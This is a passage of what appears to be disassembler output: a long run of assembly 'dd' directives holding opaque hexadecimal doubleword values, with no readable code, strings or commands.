0FC10D82Bh dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h, 0ADE9C8DAh dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h, 0C2DBE4EBh dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh, 37D5D85Ah dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh, 8A8AB4E9h dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h, 2AFB6DD3h dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h, 0F3D8B677h dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh, 91F5DDD7h dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh, 48D999FDh dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h, 0B0EADD74h dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah, 7BB19B6Dh dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h, 9E41E3CAh dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh, 1DE766CFh dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh, 38FB09E4h dd 990E6641h, 17E0128h, 30FD6B27h, 6415D850h, 515BEDD4h dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h, 4D428BBFh dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah, 6F43BA9h dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh, 4B5B18AFh dd 56FBEB8h, 5BDD2D69h, 772D0BB7h, 29BDFF85h, 823C52C6h dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h, 0B470F665h dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh, 0E699344Ah dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh, 0F792AE93h dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h, 8C89C399h dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h, 50AAFC26h dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h, 70878737h dd 7427C6A5h, 20545EDh, 233419F9h, 0DADD7D74h, 0AAC2C099h dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh, 0EF4DC461h dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh, 7EB8010h dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h, 549CC270h dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh, 0F9C05462h dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh, 0AD7271C5h dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh, 8B281BB5h dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h, 0CEDA1FF2h dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh, 50085EFEh dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h, 755CC814h dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h, 0C96BD6E5h dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h, 1DD574F7h dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h dd 9607D556h, 8D48B5Ch, 5B144C7Dh, 0AA0E13C4h, 913B6959h dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh dd 0CCBC0585h, 2C92DA4Dh dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h, 0BEBD6C49h dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h, 139BFC96h dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh, 958028AFh dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h, 0CFA78CBBh dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h, 1B8E09DEh dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h, 2EF154B6h dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h, 8074765h dd 995E90Dh, 576DF276h, 14E862D0h, 11473749h, 388F1F10h dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h, 4D9953BBh dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh dd 9752881h, 2E2B4CA0h, 0AF7AB2B1h, 5C54FE44h, 22D5E7B2h dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh, 0C336F78Bh dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h, 7EC93544h dd 2756665h, 35EEF38Ah, 0AA455912h, 1A5E17DEh, 0E9F042EDh dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h, 0A46EAE6Bh dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h, 0F69A335Bh dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h, 41D0A5B5h dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h, 3CCC03B4h dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h dd 1265957Dh, 6DB1283h, 4B462B28h, 0DC27C99Ah, 79F9AAE7h dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h, 0C0188357h dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h dd 3AA423Fh, 0C281412h, 3BF93235h, 0A4862BD0h, 6827F4C3h dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h, 800889B3h dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h, 285F06EAh dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh dd 5EA4047h, 9E2EFF6Ch, 6E612844h, 4E7739F6h, 36F2DB48h dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h, 4A7E5377h dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h, 3E37FE74h dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h, 4685BBC8h dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h, 0D3CD08D4h dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh, 0DDB20D4Dh dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h, 55D0C570h dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h, 0C6D26E24h dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh, 2881CE79h dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h, 927481C6h dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h dd 8CCABFA0h, 6CC919E1h dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h, 9360F6B7h dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h, 0D18ACB0Ch dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h dd 628538F7h, 5D559AFh, 8CEE57EFh, 7466112Fh, 0B44E5D08h dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh dd 28632BC3h, 7EA5394h, 4DEC9DCFh, 0DB7707A0h, 3CFE579Ah dd 0D24623F0h, 97CF61h, 0C2BDB5EAh, 0FF707D61h, 12DD12F1h dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h, 46BDE22Bh dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h, 3156D4C0h dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h, 8C6B80FEh dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h, 48D28119h dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h, 98F2E827h dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h dd 5361C6CEh, 54DC0E1h, 0D1970AB1h, 0DA7CB64Eh, 99912CF6h dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh, 0D72C3916h dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h, 576CD3B7h dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh, 0D430C5F2h dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h, 0D335161h dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh, 8FEAAC0h dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh, 0E23530EFh dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh, 0BE2EE3ABh dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h, 800A4BD8h dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h, 0FD1322F6h dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h, 4CF833C6h dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h, 0F7F889FDh dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh, 509A1D2h dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h, 0BDED288Ah dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh, 2BF66227h dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h, 28E96FEEh dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h, 0D792946Bh dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h, 34AAE4E8h dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h, 1F81F8FBh dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh, 802E0D1Eh dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh, 2400B931h dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch, 5D2AA630h dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h, 357FA457h dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h, 0DBC96B9Ah dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh, 1E209143h dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh, 0AC89623Ah dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h dd 9C2D469Fh, 0A04E826Fh dd 3A52CFC6h, 94607C4h, 147F4EE3h, 4BCA76DBh, 0DA7B7EB6h dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h, 0A8AD8FE4h dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h, 0F837C9A5h dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h, 19241546h dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h, 9E56E62h dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh, 75E673D5h dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh, 7A8F9AA9h dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch, 138CDF20h dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h, 34910D8h dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 